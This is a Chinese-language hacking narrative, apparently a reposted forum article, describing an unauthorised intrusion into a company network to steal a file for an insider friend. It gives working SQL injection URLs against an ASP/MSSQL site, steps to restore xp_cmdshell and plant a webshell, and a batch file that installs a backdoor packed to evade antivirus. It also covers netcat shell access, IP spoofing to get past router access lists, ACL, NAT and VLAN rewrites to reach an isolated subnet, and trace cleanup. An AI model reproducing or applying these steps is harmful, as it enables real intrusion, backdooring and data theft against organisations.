本文的目标是一国内知名公司的网络,本文图片、文字都经过处理,均为伪造,如有雷同,纯属巧合。
最近一个网友要我帮他拿他们公司内网一项重要的文件,公司网络信息朋友都mail给我了,这些信息主要是几张网络拓扑图以及在内网嗅探到的信息(包括朋友所在的子网的设备用户名及密码等信息……)。参照以上信息总体整理了一下入侵的思路,如果在朋友机器安装木马,从内部连接我得到一个CMD Shell,须要精心伪装一些信息还有可能给朋友带来麻烦,所以选择在该网络的网站为突破口,而且管理员不会认为有“内鬼”的存在。
用代理上肉鸡,整体扫描了一下他的网站,只开了80端口,没扫描出来什么有用的信息,就算有也被外层设备把信息过滤掉了,网站很大整体是静态的网页,搜索一下,查看源文件->查找->.asp。很快找到一个类似http://www.*****.com/news/show1.asp?NewsId=125272页面,在后面加上and 1=1 、and 1=2前者正常,后者反回如下错误。
Microsoft OLE DB Provider for ODBC Driver error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character sting”.
/news/show/show1.asp,行59
是IIS+MSSQL+ASP的站,在来提交:


http://www.*****.com/news/show1.asp?NewsId=125272 and 1=(select is_srvrolemember('sysadmin'))


http://www.*****.com/news/show1.asp?NewsId=125272 and 'sa'=(select system_user)

结果全部正常,正常是说明是当前连接的账号是以最高权限的SA运行的,看一下经典的“sp_cmdshell”扩展存储是否存在,如果存在那就是初战告捷。


http://www.*****.com/news/show1.asp?NewsId=125272 and 1=(select count(*) from master.dbo.sysobjects where xtype = ‘x’ and name = 'xp_cmdshell')


失败,看看是否可以利用xplog70.dll恢复,在提交:


http://www.*****.com/news/show1.asp?NewsId=125272;exec master.dbo.sp_addextendedproc 'xp_cmdshell',’xplog70.dll’


在试一下xp_cmdshell是否恢复了,又失败了,看样管理是把xp_cmdshell和xplog70.dll删除了,想利用xp_cmdshell“下载”我们的木马现在是不可能的。首先我们先要得到一个WEB Shell,上传xplog70.dll,恢复xp_cmdshell在利用xp_cmdshell运行我们上传的木马,这都是大众入侵思路了,前辈们以经无数人用这个方法入侵成功。拿出NBSI扫一下,一会后台用户名和密码是出来了,可是后台登录地址扫不出来,测试了N个工具、手工测试也没结果,有可能管理员把后台删除了。我们想办法得到网站的目录,这时就须要用到xp_regread、sp_makewebtask两个扩展存储,试一下是否存在:


http://www.*****.com/news/show1.asp?NewsId=125272and 1=(select count(*) from master.dbo.sysobjects where name = 'xp_regread')


http://www.*****.com/news/show1.asp?NewsId=125272and 1=(select count(*) from master.dbo.sysobjects where xtype='X' and name = 'sp_makewebtask')


全部返回正常说明存在(一般的网管不太了解他们,存在也很正常),首先简单介绍一下xp_regread扩展存储过程及sp_makewebtask Web助手存储过程,xp_regread是用来读取注册表信息的,我们可以通过这个来得到保存在注册表中的Web绝对路径。sp_makewebtask这个就是我们用来得到WEB Shell的,主要功能就是导出数据库中表的记录为文件。这个方法网上很早就出现了,我们网站的目录在注册表里是在HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\,我们在数据库里建一个表,将他存储在表里,在使数据库错误回显在IE里。


http://www.*****.com/news/show1.asp?NewsId=125272;create table [dbo].[biao]([zhi][char](255));


这时候我们就建了一个名为biao的表,并添加了一个类型为char长度是255的字段,名为zhi,然后添加数据:


http://www.*****.com/news/show1.asp?NewsId=125272;declare @result varchar(255) exec master.dbo.xpregread'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/', @result output insert into biao (zhi) values(@result);--


然后暴出WEB绝对路径:


http://www.*****.com/news/show1.asp?NewsId=125272 and 1=(select count(*) from biao where zhi>1)


IE返回错误,得到网站的物理路径e:\inetput\web\,向网站目标写个小网页木马,一个朋友以前写过一个程序,由于只是内部用的,我就不抓图了,网上早就有发布过这种工具,有兴趣下载自己看看吧!原理都是一样的,如果想手工输入就是麻烦了点,但可以向网站脚本文件写入“一句话木马”在远程提交,以得到一个大马的目的。登录木马后把自己机器的xplog70.dll上传到网站目录在传一个hacker's door,黑客之门只有一个dll,我们要建一个批处理,名子为run.bat:


@echo off @rundll32 kernel,DllRegisterServer svchost.exe @del run.bat


在拿一下文件合并器,将我们建的批处理和dll文件合并成一个exe文件,黑客之门的使用方法我就不多说了,他有详细的使用手册,建议在处理一下,以免传到服务器上被查杀。黑客之门主要用处是可以利用服务器上所开的任何端口和我通信,现在恢复他的xp_cmdshell扩展存储


http://www.*****.com/news/show1.asp?NewsId=125272;exec master.dbo.sp_addextendedproc 'xp_cmdshell',’e:\inetput\web\xplog70.dll’;--

在IE里提交:exec master.dbo.xp_cmdshell’ e:\inetput\web\rootkit.exe’ rootkit.exe是黑客之门改的名子,注意这个程序要解绑到系统目录如图1。
木马运行后,Nc –vv ip 80 输入密码就得到一个CMD Shell,在放一个隐藏的asp木马,简单的把入侵的痕迹清理一下。以上的方法很早就有了,由于网上资料也很多、本文主要说渗透内网,篇幅有限我就不过多解释了。

渗透内网

这个网络很大共有七个网管,现在当前位置是F网、朋友在B网、目标在A网。朋友给的资料,目前接入internet的两台设备未知(假设未知的设备都是路由器),图2是该公司大体的网络拓扑图。掌握B网所有设备用户名密码(朋友之前嗅探到的)。除A网其它网络可以自由通信, A网内有公司重要信息所以不像其它网,它是不允许任何人访问的,路由不给予转发数据,也就是只进不出的网络,虽然现在的网络是外紧内松,但是想进入目标主机还是有些难度。怎么跨过设备的限制到达目标呢!您还要向下看。现在首要的目的就是让router3给我们转发数据包。
首先尝试telnet登录路由,拒绝访问不能登录,我想也不能登录,应该是访问控制列表限制了。
现在我们首要目标拿下router3的控制权,为什么目标定位在router3呢!个人认为router3是最佳的路线,原因有以下4点:


(1)我们现在知道他的登录密码;
(2)我当前位置可以和B网直接通信;
(3)Router3是A、B网络公用的,应该两个网管都有权限登录;
(4)这一点也是最重要的,只有router3给予数据转发才可以和目标主机通信;

 
一般来说管理员主机一定可以登录这台路由器的,网管主机都不可以登录设备那么谁为维护网络勒?现在假设一下,如果B网管理员所管理的设备只有他本身所用的IP或TFTP Server(兼DHCP Server)才可以登录设置,那么有如下思路可以完成入侵。


1、直接得到B网管理员主机的一个CMD Shell来登录设备。
2、得到管理员同网段一台主机的CMD Shell,从而利用ARP欺骗来telnet目标路由。
3、得到B网其它网段中可访问外部网络一台主机的CDM Shell,伪装CDM Shell主机IP地址,必要情况伪装IP+MAC地址来欺骗路由器,(机会高达到50%)。

 
    经过分析拿B网的DHCP服务器(172.16.101.25)开始,选择突破点也是很重要的,DHCP服务器为了提供这个网段的服务他是暴露在相对外部的,而且不在VLAN的管辖中,还和网管在同一交换机下,而且听朋友说他们公司PC几乎不打补丁,还有很多员工不知补丁为何物,这也给入侵带来及大的方便。利用服务器的WEB木马上传一些流行的溢出程序,直接拿个溢出程序溢出他的DHCP服务器,成功得到一个System权限的CMD Shell。(最后才知道2003年的溢出程序对这个主机都有用)

     革命尚未成功,同志们还须努力啊!“下载”我们肉鸡一个反弹的木马,我们的肉鸡是不能主动连接DHCP服务的,好像有点费话。现在这个主机就是我们在内网的一个接入点,放弃我们刚才控制的那个WEB主机,利用反弹木马开的个CMD。telnet一下路由,%connection closed by remote host!还是连接失败,不能登录路由器,看样只有172.16.101.15这台主机(管理员IP)可以登录了,我们看一下登录他的交换机OK不(一般工作组交换机权限设置不会那么BT)。


telnet 172.16.101.253 //交换机管理地址
Password:
center>enable
Password:

成功登录,show mac-access、show cdp neighbors、show arp一些命令判断管理员对应的结口,管理员的IP对应的是FastEthernet 7/1,这个时候要用到IP地址的欺骗,在此感谢EST长的最难看的哥哥。


#interface FastEthernet 7/1
#shutdown

当然,这要等网管离开的时候才可以,这就要内外结合了。这个时候172.16.101.15这台主机在网络上以消失了,我们试一下路由是否允许网管的主机登录,把自己的IP改成172.16.101.15,输入:


netsh >interface ip
netsh interface ip >dump看一下接口配置信息
netsh interface ip >set address name = ″本地连接″ source = static addr = 172.16.101.15 mask = 255.255.255.0

这时候当前主机地址改为172.16.101.15,现在这个主机会和我断掉,但只是一小会,我们的反弹木马一会就能上线。一般重新变改IP地址要发个ARP包告诉网络其它主机,大概意思是我的IP是172.16.101.15,MAC地址是00-00-00-00-12-34,以后有发往172.16.101.15地址的数据包都有我来响应。交换机刷新地址表后这台主机伪装成功。在telnet登录路由器,如图2
show running-config看一下配置信息,把路由配置信息COPY到记事本在分析,找到如下配置信息。


access-list 99 172.16.8.88 0.0.0.0 //A网管理员地址
access-list 99 172.16.101.15 0.0.0.0

访问列表99限制只有以上两个IP可以登录路由,看来是这个家伙在作怪。删除99访问列表,在添加99访问列表:


#access-list 99 172.16.68.88 0.0.0.0
#access-list 99 172.16.101.15 0.0.0.255 //改成172.16.101.0/24网段都可以登录
#line vty 0 4
#access-class 99 in
退出路由系统,把自己IP改回来,把交换机设置也改回来以免网管回来被发现。
center(config)#interface FastEthernet 7/1
center(config-if)#no shutdown

简单的清理一下留下的痕迹,退出他们的网络来分析一下网管是怎么配置的路由,在路由配置信息中有几条重要信息。


ip nat pool NO.1027 10.255.200.1 10.255.200.105 netmask 255.255.255.0
ip nat inside source list 10 pool NO.1027 overload
access-list 10 permit 172.16.7.0 0.0.0.255
access-list 10 permit 172.16.8.0 0.0.0.255
……
router eigrp 10

真是不敢恭维网管的技术,一条访问列表可以搞定的事,非要分成N个访问列表来描述。到这时才明白为什么朋友不能访问目标主机,因为A网边界路由器为其作NAT的地址转换,将B类地址转换成A类地址,并且有访问列表限制。现在要使当前主机和目标主机在“堡垒”中建立一条专用的“线路”。我这对路由的配置不是很熟悉,也不敢太多的尝试,以免被网管发现,但是我们可以“重新”配置一下他的eigrp协议,使内部的地址完全暴露在外边,但此办法太容易让网管发现,但是当时没想出别的办法来。命令如下:

 
#clear ip nat translation *
#no ip nat inside source list 10 pool NO.1027 overload
#no …… //去掉他的访问列表及NAT配置信息
#router eigrp 10
(config-router)#network 172.16.2.0 0.0.0.255
(config-router)#network 172.16.3.0 0.0.0.255
(config-router)#network …… //把所有的网段加进去
#reload 10 //10分钟后设备自动重启

现在路由器就可以为我们转发数据包了,并且在10分钟自动重启使更改的的配置失效,我们现在只差一步就大功告成了,现在须要在我控制的那台主机到目标主机创建一条干线使我们的数据包可以直接到达目标主机。
show cdp neighbors得到如下信息:


Device ID Local Intrfce Holdtme Capability Platform Port ID
Router3 Fas0/12 176 R 2621 4

在交换机中添加VLAN 13,(目标主机的VLAN号),进入Fas0/12端口, “switchport trunk all vlan add 13 ”,在trunk中添加VLAN13,使这条线路可以通过VLAN13的数据,没有必要改变自己的VLAN号,路由器现在没有访问列表来控制我们的数据流。这个时候我们ping 172.16.8.120目标主机物理IP地址数据包可以到达了。
这次入侵也接近尾声了,和以前一样还是溢出后安装一个反弹木马,使他可以主动连接我的肉鸡,当然这要在10分钟内搞定,否则要重新进路由改变他重启的时间,备份他硬盘上的数据,备份肉鸡上的数据,最后就是清理一下入侵的痕迹。这次入侵大约10天才完成,因为要等到特定的时间才可以改变他的网络设备配置,比如改变路由器的访问列表进一定要等到下班时间,大多用户不使用网络时、而目标主机还在使用网络时、网管还没有关闭设备时,也就是要和网管打个时间差。
本文经过N次的筛选终于从万字的文章精减出此文,可读性、实用性一定会有不同程度上的衰减,本次入侵没有什么新的技术,主要说怎样绕过内部网络设备的限制,只不过是一些经验的叠加,针对网络设备入侵这也算很初级的。

文章如转载,请注明转载自:http://www.5iadmin.com/post/380.html